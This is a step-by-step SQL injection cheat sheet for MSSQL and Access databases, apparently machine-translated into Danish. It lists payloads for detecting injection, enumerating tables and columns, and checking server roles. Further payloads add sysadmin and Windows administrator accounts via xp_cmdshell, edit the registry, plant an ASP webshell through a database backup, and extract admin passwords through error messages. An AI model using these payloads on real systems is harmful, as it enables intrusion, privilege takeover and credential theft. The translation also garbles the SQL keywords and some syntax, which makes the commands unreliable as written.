1. Afgør om der er en injektion ; og 1=1 ; og 1=2
2. Foreløbig vurdering af, om det er mssql ; og bruger>0
3. Vurder databasesystemet ; og (vælg antal(*) fra sysobjects)>0 mssql ; og (vælg antal(*) fra msysobjects)>0 adgang
4. Injektionsparameteren er et tegn 'og [forespørgselskriterier] og ''='
5. Der er ingen filtrerede parametre under søgningen 'og [forespørgselskriterier] og '%25'='
6. Gæt navnet på bordet ; og (vælg Count(*) fra [tabelnavn])>0
7. Gæt feltet ; og (vælg Count (feltnavn) fra tabelnavn)>0
8. Gæt længden af rekorden i marken ; og (vælg top 1 len(feltnavn) fra tabelnavn>0
9. (1) Gæt ASCII-værdien af feltet (adgang) ; og (vælg top 1 asc(mid(field name, 1,1)) fra tabelnavn)>0
(2) Gæt ASCII-værdien af feltet (mssql) ; og (vælg top 1 unicode(substring(feltnavn,1,1)) fra tabelnavn)>0
10. Testtilladelsesstruktur (mssql) ; og 1=(vælg IS_SRVROLEMEMBER('sysadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('serveradmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('setupadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('securityadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('diskadmin')); -- ; og 1=(vælg IS_SRVROLEMEMBER('bulkadmin')); -- ; og 1=(vælg IS_MEMBER('db_owner')); --
11. Tilføj en konto til mssql og systemet ; exec master.dbo.sp_addlogin brugernavn; -- ; exec master.dbo.sp_password null, brugernavn, adgangskode; -- ; exec master.dbo.sp_addsrvrolemember sysadmin brugernavn; -- ; exec master.dbo.xp_cmdshell 'netbrugerbrugernavn adgangskode /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'netbrugerbruger-adgangskode /tilføjelse'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators brugernavn /add'; --
12. (1) Gennemgå kataloget ; Opret tabel-di'er (paths varchar(100), id int) ; indsæt dirs executive master.dbo.xp_dirtree 'c:\' ; og (vælg top 1 stier fra dirs)>0 ; og (vælg top 1-stier fra di'er, hvor stier ikke er i ('stier opnået fra forrige trin'))>)
(2) Gennemgå kataloget ; lav tabeltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; indsæt midlertidig leder master.dbo.xp_availablemedia; -- Få alle strømdrev ; indsæt i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en liste over undermapper ; indsæt i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hent mappetræstrukturen for alle undermapper ; indsæt i temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Se indholdet af filen
13. Lagrede procedurer i mssql xp_regenumvalues Registreringsregister-rodnøgle, børnenøgle ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerer alle nøgleværdier i flere postsæt xp_regread Rodnøgle, børnenøgle, nøgle-værdi navn ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerer værdien af set-nøglen xp_regwrite Rodnøgle, børnenøgle, værdinavn, værditype, værdi Der findes to typer værdityper, REG_SZ REG_DWORD for tegntyper og for heltal ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' til registreringsdatabasen xp_regdeletevalue Rodnøgle, undernøgle, værdinavn exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' for at fjerne en værdi xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' for at fjerne nøglen, inklusive alle værdier under den nøgle
14. mssql-backup opretter en webshell Brug modellen oprette table cmd (STR-billede); indsæt i cmd(str)-værdier ('<% Dim oScript %>'); Backup databasemodel til disk='c:\l.asp';
15. MSSQL indbyggede funktioner ; og (vælg @@version)>0 for at få versionsnummeret for Windows ; og user_name()='dbo' for at afgøre, om den tilsluttede bruger af det nuværende system er SA ; og (vælg user_name())>0 Eksploderede de tilsluttede brugere af det nuværende system ; og (vælg db_name())>0 for at få den aktuelt tilsluttede database
MSSQL håndannoteret databaseovertrædelse
1. Eksponér det aktuelle tabelnavn og kolonnenavn Indsend "'having 1=1--" efter injektionspunktet for at få returbeskeden på engelsk, hvor du kan se et tabelnavn og et kolonnenavn. Indsend "group by the list name with 1=1--" for at få et andet kolonnenavn; Fortsæt med at indsende "group efter listen over den eksponerede tabels navn, navnet på den eksponerede tabel. Anden kolonnenavn har 1=1--", hvilket giver dig et andet kolonnenavn. Commit på samme måde, indtil siden ikke længere returnerer fejlmeddelelser for at hente alle kolonnenavne. Trivia: Voldelige tabelnavne og kolonnenavne bruges i kombination med GROUP BY i SQL-udsagn for at foretage betingede vurderinger. Fordi sætningen er ufuldstændig, returnerer databasen en fejlmeddelelse og viser et tabelnavn og et kolonnenavn. Den grundlæggende metode kan kun vise den aktuelle tabel i databasen, og hvis en tabel indeholder mange kolonnenavne, er det meget vanskeligt at bruge den grundlæggende metode.
For det første. Alle databasenavne er eksponeret Brug sætningen "and 0<>(select count(*) from master.dbo.sysdatabases, hvor name>1 og dbid=[N])" til at vise vilkårlige tabel- og kolonnenavne i databasen, hvor "[N]" repræsenterer den N-te tabel i databasen. Trin 1: Efter at have indsat punktet, indsend følgende sætning: "og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=12)", fordi værdien af dbid er fra 1 til 5, som bruges af systemet, så brugeren skal have bygget det fra 6, og vi har indsendt navnet>1, navnefeltet er et tegntypefelt, og talsammenligningen vil være forkert, så efter indsendelse vil IE returnere følgende information: "Microsoft OLE DB Provider for ODBC Drivers fejl ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterer nvarchar-værdien 'Northwind' til datatype int klumme. På denne måde eksponeres værdien af navnefeltet, det vil sige, vi får et databasenavn "Northwind". Ændring af værdien af "dbid" kan få alle databasenavnene frem.
og 0<>(vælg antal(*) fra master.dbo.sysdatabases, hvor name>1 og dbid=[N])-- Ænder N for at eksplodere alle databasenavne fra 6
For det andet. Eksponér alle tabelnavne i den angivne database Efter at have fået databasenavnet, skal du nu hente alle tabelnavnene i biblioteket, indsende følgende sætning: "og 0<>(vælg top 1-navn fra master.dbo.sysobjects hvor xtype='U')", her er tabelnavnet i masterdatabasen, og SQL-sætningen for forespørgslen returnerer værdien af navnet, og sammenlign det derefter med tallet 0, så værdien af navnet bliver eksponeret. Efter indsendelsen blev bordets navn "'spt_monito" afsløret. Derefter vises de andre tabeller, og følgende sætning indsendes: "and 0<>(select top 1 name from master.dbo.sysobjects, hvor xtype='U' og navn ikke i('spt_monito'))", og en anden tabel med navnet "cd512" er eksponeret. Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finde alle bordnavnene.
og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U')-- og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksploderet tabelnavn]'))-- og 0<>(vælg øverste 1-navn fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og navn ikke er i('[Eksplosivt tabelnavn]', '[Eksploderet andet tabelnavn]')))--
4. Eksponér alle kolonnenavne i den angivne tabel og 0<>(vælg antal(*) fra bbs.dbo.sysobjects hvor xtype='U' og name='admin' og uid>(str(id))) Konverter ID-værdien til en tegntype og sammenlign den derefter med en heltalsværdi. ID-nummeret er ude. Værdien er: 949578421 navn='tabelnavn'
og 0<>(vælg top 1-navn fra wutong.dbo.syscolumns, hvor id=949578421)-- Et feltnavn i admin-tabellen vises
Genindsend og 0<>(vælg top 1 navn fra wutong.dbo.syscolumns hvor id=949578421 og navn ikke er i('adduser')))-- Fil "og navn ikke i(' spt_monito',' CD512',..))" Du kan finde alle feltnavnene i admin-tabellen.
og 0<>(vælg antal(*) fra [angiv databasenavn].dbo.sysobjects hvor xtype='U' og name='[Tabelnavn på felt, der skal eksploderes]' og uid>(str(id)))--ID-værdien for tabelnavnet på det felt, der skal eksploderes,
og 0<>(vælg top 1-navn fra [angiv databasenavn].dbo.syscolumns hvor id=eksploderet id-værdi)-- Navnet på et felt i eksploderende id-værditabellen
og 0<>(vælg øverste 1-navn fra [angiv databasenavn].dbo.syscolumns hvor id=Eksplosiv id-værdi og navn ikke er i('[Eksploderet feltnavn]')))--
5. Læs dataene i den angivne tabel
og 0<(vælg A_ID fra wutong.dbo.admin hvor A_UserID>1) – det indhold, der brød A_PWD
og 0<(vælg [et felt, der eksisterer] fra [angiv databasenavn].dbo.[tabelnavn til forespørgsel] hvor [feltnavn til eksploderet indhold]>1)--
og 0<(vælg A_ID fra wutong.dbo.admin hvor A_PWD>1 og A_UserID='admin')-- Adminens adgangskode afsløres
og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID<>1)-- Administratornavnet id<>1 (fuhao)
og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao')-- Navnet på den anden administrator <> ikke lig med (tuiguang)
og 0<(Vælg Top 1 A_UserID FRA admin hvor A_ID <>1 og A_UserID <> 'fuhao' og A_UserID <> 'tuiguang')--
Efter at have kendt tabel- og kolonnenavnet i databasen, kan du bruge "query-sætningen" til at læse enhver information i databasen. For eksempel, hvis du vil læse de N-te data i en kolonne i en tabel, kan du indsende sætningen: "og (Vælg Top 1-kolonnenavn FRA tabelnavn, hvor id=[N])>1" ([N] repræsenterer den N-te data i kolonnen), og du kan kende de ønskede data ud fra den information, IE returnerer.
|